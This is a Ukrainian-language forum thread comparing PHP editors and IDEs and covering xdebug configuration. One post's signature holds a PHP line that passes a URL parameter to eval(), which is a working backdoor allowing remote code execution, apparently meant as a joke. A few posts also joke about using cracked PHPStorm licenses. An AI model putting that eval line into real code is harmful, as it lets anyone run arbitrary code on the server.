41

Re: PHP editors

я обрав eclipse, хоч спершу він виглядав менш дружньо від netbeanse, бо eclipse частіше є стандартом в девелоперських фірмах.

мені здається в фірмах, можна писати хоть в блок ноті, просто шоб код працював.

pew pew :D
Блоґ

42

Re: PHP editors

ping написав:

ну і для коротких наскоків - BlueFish - хороший редактор з підсвіткою синтаксису.

Коли кажуть "хороший редактор, з підсвіткою синтаксису", я це читаю як "хороша машина, з вітровим склом".

На машинах без вітрового скла теж можна їздити, але треба гарно прищурити очі...

43

Re: PHP editors

Почав використовувати PHPStorm

Щоб зрозуміти рекурсію потрібно спочатку зрозуміти рекурсію.
int fac(int n) { return n < 2 ? 1 : n*fac(n-1); }

44

Re: PHP editors

PHPStorm ужасно виглядає під gtk2

pew pew :D
Блоґ

45 Востаннє редагувалося ping (19.09.2012 08:34:17)

Re: PHP editors

Patron написав:

Почав використовувати PHPStorm

Commercial License

For companies and organizations
$199

Personal License
For individual
developers
$99

Academic License
For students and
teachers
$29

Classroom License
For trainers and educational institutions
FREE

Open Source Project License
For open source projects
FREE

p.s.
or free 30 days trial

First, solve the problem. Then, write the code. (c)JJ

46

Re: PHP editors

Netbeans.
Sublime Text 2.
Vim.
Bluefish.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

47

Re: PHP editors

ping написав:
Patron написав:

Почав використовувати PHPStorm

Commercial License

For companies and organizations
$199 - ALREADY CRACKED

Personal License
For individual
developers
$99 - ALREADY CRACKED

Academic License
For students and
teachers
$29 - ALREADY CRACKED

Classroom License
For trainers and educational institutions
FREE

Open Source Project License
For open source projects
FREE

p.s.
or free 30 days trial

Щоб зрозуміти рекурсію потрібно спочатку зрозуміти рекурсію.
int fac(int n) { return n < 2 ? 1 : n*fac(n-1); }

48

Re: PHP editors

Patron написав:

- ALREADY CRACKED

чисто моя думка - використовуючи стільки чудових open sourse продуктів було б свинством похерити принципи та користуватися ламалками.
зрештою - для профі 100 баксів не ціна питання за інструмент, а для любителя досить  30 днів тріалу + перевстановлення.

:)

First, solve the problem. Then, write the code. (c)JJ
Подякували: bvn1

49

Re: PHP editors

похерити принципи

а можна детальніше про принципи? Ви ще скажіть що фільми не можна качати з торентів бо це свинство а дивитися треба лише в кінотеатрі.

Щоб зрозуміти рекурсію потрібно спочатку зрозуміти рекурсію.
int fac(int n) { return n < 2 ? 1 : n*fac(n-1); }

50

Re: PHP editors

Patron написав:

похерити принципи

а можна детальніше про принципи? Ви ще скажіть що фільми не можна качати з торентів бо це свинство а дивитися треба лише в кінотеатрі.

це не свинство, просто фільми дивитися дома, ужасно)

pew pew :D
Блоґ

51

Re: PHP editors

Patron написав:

похерити принципи

а можна детальніше про принципи? .

можна. не роби ближньому свому  те,чого собі не хочеш ;)

Patron написав:

Ви ще скажіть що фільми не можна качати з торентів бо це свинство а дивитися треба лише в кінотеатрі.

а відколи фільми пишуть програмісти? :/

п.с.
не конче в кінотеатри ходити, можна  і на домашній комп придбати право перегляду :)

а phpstorm я таки поставив паралельно з eclipse і пробую відчути різницю та перевагу платного продукту.
але, поскільки обидві IDE для мене нові (а з php я аж 2 ьтжні як познайомився :) ) - то різниці суттєвої поки не бачу, бо ще не використовую на нормальну потужність.

First, solve the problem. Then, write the code. (c)JJ

52 Востаннє редагувалося funivan (24.09.2012 15:27:58)

Re: PHP editors

Netbeans - ось мій редактор. Якось так сталось що я з ним на ти :) І чим більше працюєш тим більше знаєш всякі фішки.
Не кажу що Netbeans найкращий і всі використовуйте, просто для мене він кльовий крапка

Плюси :
- кросплатформеніть
- досить швидкий
- опен сорс
- синхронізація по фтп
- потужний рефакторинг (в css навіть класи можна переназивати)
- дебагер
- кастомні анотації
- макроси
- плагіни
- шаблони файлів, шаблони коду, всякі фішки для швидкого кодінгу

Мінуси:
- макроси не надто потужні.
- для мене є пару баг які покищо не пофіксали ( звязане з форматуванням коду)




Хтось там писав що мож писати в блокноті у будь якій фірмі ))) Чесно кажучи це смішно) писати це можна, а от для того що б не витрачати пів дня на роботу яку мож зробити за 3 хв краще використовувати ide.
Рівнятись треба на професіоналів і я не думаю що зенд кодять в блокноті ;) так що варто декол задуматись чи блокнот це те що треба))

Подякували: Torbins1

53

Re: PHP editors

gedit або komodo
Екліпс якось не пішов, надто тяжкий він для мене. і найкращий дебагег в світі, то error_log()

54

Re: PHP editors

найкращий дебагег в світі, то error_log()

попробуйте xdebug

pew pew :D
Блоґ
Подякували: funivan, bvn2

55

Re: PHP editors

Доречі, поставити той же xdebug на nginx, то є ще той секас. І потім, різні конфіги на продакшені і девсервері деколи приводять до появи дуже "загадкових" помилок.

56

Re: PHP editors

секас? в мене ла локалці крутиться, ніякго секасу не найшов)

pew pew :D
Блоґ
Подякували: Replace, funivan2

57 Востаннє редагувалося Vo_Vik (15.10.2012 20:53:24)

Re: PHP editors

А можна глянути конфіг для кількох віртуальних хостів?
Я правда ще в гугл не дивився... Просто так питаю. Мені поки ерорлогу вистачало.

ПС: поліз дивитись в гугл))) Все вже поняв... Беру свої слова назад. Але всерівно ерор логу мені поки вистачало.

58

Re: PHP editors

віртуал хост не при ділах)
якшо пхп через пхп-фпм(в більшості випадіків, якшо нгінкс), то після установки, дописуєм

/etc/php5/fpm/php.ini
і радієм як діти.

xdebug.remote_enable = 1
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "localhost"
xdebug.remote_port = 9000

ну можна ше і ехом дебажити, кайфу мало.
якшо логіка складна, і треба прослідкувати яка умова виконалася, вміст змінної та тип при кожній ітерації, з ехм буде секасу більше, чим з установкою xdebug

pew pew :D
Блоґ
Подякували: Torbins1

59

Re: PHP editors

хотя я дебагер дуже рідко юзаю, але помагає миттєво)

pew pew :D
Блоґ

60

Re: PHP editors

якшо логіка складна, і треба прослідкувати яка умова виконалася, вміст змінної та тип при кожній ітерації, з ехм буде секасу більше, чим з установкою xdebug

Ви вірно підмітили якщо лігіка складна і скрипт валиться десь на середині а перед ним іде чимало іфів то неможливо в голові утримати всі умови і подумати що де тут не виконюєсять.

Завдяки брейкпоінтам можна спокійно собі дебажити все що треба. Це хороша практика. Для простих штук достатньо вивести дампю.

Всім хто не використовує дебагери рекомендую хоча б глянути що це за штука і ознайомитись.

Знання зайвими не бувають ;)

Подякували: Torbins1